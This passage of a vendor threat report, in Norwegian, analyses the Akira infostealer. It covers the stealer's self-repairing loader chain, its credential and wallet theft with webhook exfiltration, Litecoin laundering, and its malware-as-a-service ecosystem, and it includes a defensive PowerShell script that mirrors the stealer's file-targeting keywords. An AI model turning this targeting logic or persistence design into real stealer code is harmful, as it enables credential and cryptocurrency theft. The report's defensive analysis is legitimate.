4. Payload Execution (astor.py) Når den utløses, kjører astor.py i minnet via python.exe. Den samler systematisk inn lagrede credentials, cookies, Discord-tokens, nettlesersesjonsdata og utvidelser for kryptovaluta-lommebøker. Dataene stages i et ZIP-arkiv og eksfiltreres via HTTPS, oftest til Discord-webhooks, men fallback-API-er som gofile.io eller egne C2-endepunkter er også observert.
5. Loop Integrity and Self-Healing Designet er sirkulært. Slettes Updater.exe, rulles den ut på nytt. Mangler main.exe, pakker Updater.exe den ut på nytt fra app-64.7z. Slettes astor.py, hentes den på nytt av JavaScript-laget. Denne gjensidige avhengigheten gjør malwaren robust og i stand til å rekonstruere kjøringskjeden sin fra praktisk talt hvilket som helst gjenlevende fragment.

Arkitekturen er ikke bare modulær, den er selvopprettholdende, bevisst konstruert for stealth, fleksibilitet og langsiktig overlevelse i målmiljøene.

8.2 Hvorfor dette er verdt å merke seg

Den arkitektoniske utformingen av kampanjen viser et nivå man normalt ikke ser i vanlige infostealere. Den går forbi enkle flertrinnsloadere: dette er malware konstruert for operativ robusthet, stealth og automatisering.

Key Characteristics

• Full Autonomy Når den først er rullet ut, krever malwaren ingen brukerinteraksjon eller ekstern reaktivering. Den opptrer som en skadelig mikrotjeneste og orkestrerer sin egen persistence, payload-kjøring og reparasjonsrutiner uten ekstern styring.
• Multi-Language Execution Stack Verktøykjeden integrerer:
  • PE Binaries (Updater.exe, main.exe)
  • Node.js / JavaScript (via Electron)
  • PowerShell (brukt til obfuskert payload-relé)
  • Python (astor.py, kjørt som minneresident stealer) Denne lagdelte sammensetningen gjør den vanskeligere å profilere, ta fingeravtrykk av og analysere med konvensjonelle statiske verktøy.
• Defense Evasion by Design Hver komponent er kodet, kryptert eller dynamisk injisert:
  • Base64 PowerShell-relé
  • AES-kryptert og GZIP-komprimert Python-kjerne
  • Obfuskert JavaScript med token-injeksjon ved kjøring
  • Selvhelende atferd som vanskeliggjør delvis fjerning
• No Single Point of Failure Selvreparasjonslogikken i malwaren sørger for at det ikke er nok å fjerne én enkelt komponent. Fjernes Updater.exe, gjenskaper infostealeren den. Slettes astor.py, lastes den ned og rulles ut på nytt av JavaScript-styringsenheten.

Kort sagt oppfører malwaren seg mer som et distribuert system enn som en vanlig payload, et system som prioriterer overlevelse, modularitet og stealth.

Det løfter trusselen fra et opportunistisk angrep til en robust, tilpasningsdyktig plattform, og krever at forsvarere møter kompleksiteten med like lagdelte strategier for deteksjon og respons.

8.3 Konsekvenser for blue teams

For forsvarere og CSOC-operatører hever denne typen arkitektur lista:

• Delvis opprydding virker ikke. Alle noder må identifiseres og fjernes samtidig.
• Korrelasjon i Defender for Endpoint er avgjørende. Analytikere må spore hele kjeder: fra Updater.exe → cmd.exe → powershell.exe → python.exe.
• IOC-fri persistence betyr at minnebaserte heuristikker, baselining av telemetri og kjedebasert deteksjon er nøkkelen.

Dette er ikke bare en stealer. Det er en robust malware-plattform som oppfører seg mer som et distribuert system enn som en enkel trussel. Og nettopp det er det som gjør den både imponerende og farlig.

9. Blockchain-sporing og analyse

9.1 Å spore pengeflyten i en Litecoin-basert malware-kampanje

Under reverse engineering-fasen av denne malware-kampanjen hentet vi ut flere hardkodede lommebokadresser som stealeren brukte til eksfiltrering av kryptovaluta. Ved å følge on-chain-aktiviteten til disse Litecoin-lommebøkene kunne vi avdekke mønstre som tyder på bevisst hvitvasking. Lommeboken LW6EopiZ..., som angriperen kontrollerer, fungerer som et sentralt samlingspunkt. Midler stjålet fra flere ofre kanaliseres inn til denne adressen, og derfra fordeles de raskt videre til flere nye adresser.

Atferden vi ser her, er representativ for et klassisk split-transfer-mønster som brukes i crypto tumbling eller mixing. I hvert tilfelle deles hele den innkommende balansen i to omtrent proporsjonale utgående transaksjoner, hver til sin lommebok. Strategien skal vanskeliggjøre address clustering og chain tracing ved å obfuskere hvor midlene kommer fra. Det er en effektiv taktikk for å unngå deteksjon fra automatiserte plattformer for blockchain-analyse og threat intelligence.

Denne hvitvaskingsatferden bruker en kombinasjon av timing på transaksjonene, presis oppdeling av verdier og minimert gjenbruk av adresser for å omgå heuristikker som klyngealgoritmer vanligvis bruker, slik de gjør i GraphSense, Chainalysis eller TRM Labs. Målet er å skape transaksjonsflyter med høy entropi, som forvirrer attribusjon og bryter koblingene, særlig når midlene til slutt bygges over til andre verdier eller veksles til personvernorienterte coins.

I eksempelet under viser vi et strukturert utsnitt av denne atferden. De innkommende transaksjonene representerer ulike overføringer fra ofre. Verdiene kartlegges deretter presist til de utgående flytene, og viser hvordan coins "vaskes" gjennom raske, forutsigbare og algoritmisk oppdelte utbetalinger.

10. Inne i Akira-økosystemet - kommersialisert infrastruktur for cyberkriminalitet

Akira er ikke bare en stealer, den er midtpunktet i et blomstrende undergrunnsøkosystem laget for å forenkle, skalere og tjene penger på cyberkriminalitet.

10.1 Et plug-and-play-økosystem for trusselaktører

Akira-økosystemet er et eksempel på hvordan cyberkriminalitet har utviklet seg til en profesjonalisert, tjenestedrevet økonomi. Det omfatter:

• Builder Bots for generering av payloads på bestilling (for eksempel @AkiraRedBot)
• Telegram-kanaler for oppdateringer, funksjonsønsker og kundestøtte
• Automatisert lisens- og betalingshåndtering, ofte via direktemeldinger eller anonyme e-handelsplattformer som Sellix
• Ferdigpakkede moduler som clipboard hijackers, Discord token loggers, browser data stealers og til og med ransomware-tillegg
• Tilpassbare payloads med konfigurasjonsgrensesnitt for brytere, webhook-inndata og ikonbranding

10.2 Kommersialisering av cyberkriminalitet

Strukturen til Akira speiler en bredere bevegelse mot "Malware-as-a-Service" (MaaS), der:

• Ingen dyp teknisk kompetanse kreves for å sette i gang angrep
• Inngangskostnadene er lave ($75 for 3 måneder, $150 for livstid)
• Støtte og dokumentasjon er umiddelbart tilgjengelig via Telegram
• Bidrag fra miljøet utvider Akira jevnlig med skript og funksjonsforslag

Dette økosystemet etterligner legitime SaaS-forretningsmodeller, med changelogs, UX-forbedringer, prisnivåer og oppsalg.

10.3 Utover stealeren - komponentene i økosystemet

Selv om astor.py er hjertet i mange angrep, gir økosystemet en komplett kjede:

• Obfuskeringsverktøy som PyInstaller-wrappere
• File binders for å koble skadelige payloads til godartet programvare
• Compilere, cryptere og polymorfisme ved kjøring
• Hosting-speil for payload-leveranse og eksfiltrering (for eksempel GoFile, AnonFiles)
• Datahåndteringsboter som oppsummerer stjålne credentials og maskinvareprofiler

11. Akira Stealer QuickCheck: berørte filer

11.1 Hva er dette til for?

Etter en mistenkt Akira Stealer-infeksjon er det avgjørende å få vite umiddelbart hvilke filer på systemet ditt som sto i fare for å bli eksfiltrert. QuickCheck-PowerShell-skriptet som er beskrevet over, gjenskaper den eksakte søkelogikken til Akira: det skanner brukerens mapper Desktop, Documents, Downloads og OneDrive etter filer som:

• Inneholder sensitive nøkkelord i filnavnet, som password, wallet, backup eller token
• Har bestemte filendelser som ofte er mål (.txt, .docx, .pdf, .jpg og liknende)
• Ligger under størrelsesgrensen på 2 MB som malwaren håndhever

QuickCheck gir en rask oversikt basert på den interne logikken i Akira Stealer, men den erstatter ikke omfattende forensiske verktøy eller profesjonell incident response. Følg alltid opp med dypere analyse når du har å gjøre med bekreftede innbrudd.

Deretter viser den en sortert tabell med Filename, Relative Path, Size (KB) og det utløsende nøkkelordet.

DISCLAIMER Dette verktøyet leveres "as is" uten noen garanti for fullstendighet eller egnethet for et bestemt formål. Det garanterer ikke at alle potensielt sensitive filer blir funnet, og det erstatter ikke fullstendig malware-forensikk. Bruk på eget ansvar.

Juridisk merknad

Dette QuickCheck-verktøyet er utelukkende ment for vurderinger innen defensiv sikkerhet. All uautorisert skanning eller bruk på systemer du ikke eier, kan bryte lover om personvern, opphavsrett eller datamisbruk. glueckkanja AG tar ikke noe ansvar for misbruk eller skader som følger av bruken.

PowerShell-skript

<#
.SYNOPSIS
    QuickCheck: Lists all files that Akira Stealer would potentially exfiltrate.

.DESCRIPTION
    Scans Desktop, Documents, Downloads and OneDrive for files that:
      • Contain one of the defined keywords in their name
      • Have an allowed file extension
      • Are not larger than 2 MB
    Presents the results in a colored, tabular overview.

.NOTES
    © glueckkanja AG – Kaiserstr. 39 · 63065 Offenbach
#>

# -------------------------------------
# 1. Configuration
# -------------------------------------
$scanFolders = @(
    "$env:USERPROFILE\Desktop",
    "$env:USERPROFILE\Documents",
    "$env:USERPROFILE\Downloads",
    "$env:USERPROFILE\OneDrive"
)
$keywords   = 'passw','seed','mnemo','phrase','login','wallet','crypto','token','backup','secret','account'
$extensions = '.txt','.doc','.docx','.pdf','.csv','.xls','.xlsx','.jpg','.png'
$maxSize    = 2MB

# -------------------------------------
# 2. Scan and Collect Matches
# -------------------------------------
$matches = [System.Collections.Generic.List[PSObject]]::new()

foreach ($folder in $scanFolders) {
    if (-not (Test-Path $folder)) { continue }
    Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
        # 2.1 Extension filter
        if ($extensions -notcontains $_.Extension.ToLower()) { return }
        # 2.2 Size filter
        if ($_.Length -gt $maxSize) { return }

        # 2.3 Keyword filter: explicit loop to avoid null-method calls
        $hit = $null
        foreach ($kw in $keywords) {
            if ($_.Name.ToLower().Contains($kw)) {
                $hit = $kw
                break
            }
        }
        if (-not $hit) { return }

        # 2.4 Build relative path
        $rel = $_.DirectoryName.Substring($env:USERPROFILE.Length + 1)

        # 2.5 Collect
        $matches.Add([PSCustomObject]@{
            FileName    = $_.Name
            Location    = $rel
            'Size (KB)' = [math]::Round($_.Length / 1KB, 1)
            Keyword     = $hit
        })
    }
}

# -------------------------------------
# 3. Display Results
# -------------------------------------
clear
Write-Host "🔍 glueckkanja AG – Akira Stealer QuickCheck" -ForegroundColor Cyan
Write-Host "────────────────────────────────────────────────────────" -ForegroundColor DarkCyan

if ($matches.Count -gt 0) {
    $matches |
        Sort-Object Location, FileName |
        Format-Table -AutoSize `
            @{Label='File';       Expression={$_.FileName}},
            @{Label='Location';   Expression={$_.Location}},
            @{Label='Size (KB)';  Expression={$_. 'Size (KB)'}},
            @{Label='Keyword';    Expression={$_.Keyword}}

    Write-Host "`n⚠️  Total potential matches: $($matches.Count)" -ForegroundColor Yellow
}
else {
    Write-Host "✅ No potentially compromised files found." -ForegroundColor Green
}

Write-Host "`n© glueckkanja AG · Kaiserstr. 39 · 63065 Offenbach" -ForegroundColor DarkGray
Write-Host "Disclaimer: This tool offers a high-level scan based on Akira Stealer’s logic; it does not replace full forensic analysis." -ForegroundColor DarkGray

12. Utover respons - slik gjør glueckkanja CSOC hendelser om til innsikt

De fleste security operations centers stopper ved containment. Vi gjør ikke det.

Hos glueckkanja CSOC mener vi at incident response ikke er målstreken, den er startpunktet.

Når andre erklærer seier og går videre, graver vi dypere. For oss er hver hendelse en anledning til å lære, tilpasse oss og bli sterkere. Den utrettelige nysgjerrigheten vår, drevet av mange år med dyp forensisk kompetanse og reverse engineering-kapasitet, gjør at vi ikke bare forsvarer, vi forutser.

Denne tenkningen er grunnen til at vi bygde Akira Compromise Reporter.

Dette forensiske verktøyet er utviklet internt, og det går langt utover grunnleggende deteksjon: det bruker vår inngående kunnskap om Akira Stealer til å gi full klarhet i hvilke data som er kompromittert. I løpet av minutter produserer det et presist og handlingsrettet øyeblikksbilde av hele omfanget av hendelsen:

• Nøyaktig hvilke credentials, tokens og nettlesersesjoner som ble stjålet.
• Nøyaktig hvilke kryptovaluta-lommebøker, meldingskontoer og filer som ble eksponert.
• En tydelig, strukturert og detaljert forensisk rapport som gjør usikkerhet om til umiddelbar, velinformert handling.

For hos glueckkanja måler vi suksessen vår ikke bare i antall blokkerte trusler, men i den klarheten vi gir. Cybersikkerhet gjort riktig handler ikke om bare å reagere på hendelser, det handler om å forstå, tilpasse seg og alltid ligge ett skritt foran.

Det er forskjellen med glueckkanja CSOC.

13. Indicators of Compromise (IOCs)

Under følger en omfattende, ordrett samling av IOC-er hentet direkte ut av malware-koden under vår interne reverse engineering-prosess hos glueckkanja CSOC. Ingen antakelser eller eksterne threat intel-kilder er brukt, alle indikatorer er bekreftede funn. Alle URL-er er obfuskert med vilje for å hindre klikk ved et uhell.

Abbreviations:

• TG: Telegram reporting channel
• Alt: Alternate (fallback) endpoint

1. Domener og URL-er

2. Kryptovaluta-adresser

3. Registernøkler og stier

5. Filer og hasher

5. Discord- og Telegram-identifikatorer

14. Tilbakeblikk på Akira Stealer-hendelsen: styrk forsvaret ditt med glueckkanja CSOC

Gjennom denne artikkelen har vi gått inn i den avanserte naturen til Akira-infostealeren, en trussel kjennetegnet av målrettet credential-tyveri, stillegående dataeksfiltrering og vedvarende metoder for å unngå tradisjonelt forsvar. Å forstå hvordan denne malwaren virker, hvilken risiko den utgjør og hvilke svakheter den utnytter, er avgjørende for å bygge en solid sikkerhetsstrategi.

Akira-infostealeren sikter seg spesifikt inn på sensitive data som påloggingsopplysninger, nettlesersesjoner, kryptovaluta-lommebøker, meldingstjenester og personlige eller virksomhetsinterne filer. De kalkulerte og presise metodene krever mer enn standard sikkerhetstiltak: de krever kontinuerlig overvåking, grundig forensisk analyse og proaktiv threat intelligence.

Hos glueckkanja CSOC bruker vi den dype tekniske kompetansen og de avanserte analysemulighetene våre til å komme lenger enn enkel deteksjon. Spesialistteamet vårt overvåker trusler i sanntid fra våre egne CSOC-servere, slik at trusler som Akira-infostealeren kan identifiseres umiddelbart, undersøkes grundig og nøytraliseres effektivt.

Men arbeidet vårt stopper ikke ved incident response. Hver hendelse vi oppdager, beriker kunnskapsbasen vår, styrker sikkerhetsnivået og sørger for at vi holder oss flere skritt foran fremtidige trusler. Med glueckkanja CSOC får du mer enn beskyttelse, du får en tilpasningsdyktig sikkerhetspartner som er forpliktet til robustheten din på lang sikt.

Ta neste steg i sikringen av organisasjonens digitale verdier.

Kontakt cybersikkerhetsekspertene i glueckkanja i dag, og la oss sikre fremtiden din proaktivt sammen.

Styrk forsvaret ditt med glueckkanja CSOC.

15. Sikkerhets- og juridisk ansvarsfraskrivelse - bruk av reell malware-kode

Denne publikasjonen inneholder detaljert teknisk innsikt, inkludert kodeutdrag og gjennomganger av atferd hentet fra faktisk skadelig programvare som ble oppdaget under incident response og forensiske undersøkelser. Formålet med å dele denne informasjonen er utelukkende pedagogisk, og skal hjelpe profesjonelle forsvarere med å forstå, oppdage og håndtere reelle trusler mer effektivt. Vi publiserer dette i god tro og med ønske om å bidra til sikkerhetsmiljøet som helhet.

Det er viktig å merke seg at deler av koden som er gjengitt, stammer fra verktøysett til trusselaktører og fra malware-sampler i sirkulasjon. Disse fragmentene er ikke vår immaterielle eiendom, og de skal heller ikke anses som trygge, renset eller "harmløse" på noen måte. Vi fraråder uttrykkelig å gjengi eller ta slik kode i bruk operativt. Leseren må forstå at selv om materialet tjener forskning og bevisstgjøring, bærer det i seg en risikoprofil som ikke bør undervurderes.

Bare fagfolk med opplæring, som arbeider i lovlig autoriserte miljøer, for eksempel akkrediterte sikkerhetsteam, SOC-enheter, akademiske forskere eller malware-laber, bør befatte seg med teknikkene eller koden som beskrives. All eksperimentering må holdes innenfor isolerte systemer utenfor produksjon, og være i samsvar med gjeldende lover, interne retningslinjer og etiske standarder.

Vi gir ingen støtte eller validering for gjengitt kode eller atferd. Det finnes ingen garanti for nøyaktighet, relevans eller fullstendighet. Videre avviser vi uttrykkelig all bruk av dette innholdet til offensive formål, uautorisert red teaming, kommersiell malware-utvikling eller angrepstesting utenfor et rettslig definert omfang. Misbruk kan få rettslige følger. glueckkanja AG fraskriver seg alt ansvar for direkte eller indirekte skader som følger av bruk eller feiltolkning av dette innholdet.

Ved å lese videre eller vise til dette innholdet bekrefter du det ovennevnte og samtykker i ikke å misbruke, reprodusere eller anvende noen del av det i ulovlige eller uetiske sammenhenger. Er du i tvil, rådfør deg med juridisk avdeling, compliance eller personvernansvarlig før du går i gang med analyse av levende kode eller tilsvarende teknisk materiale.

Denne publikasjonen leveres "as is", uten garanti, støtte eller ansvar.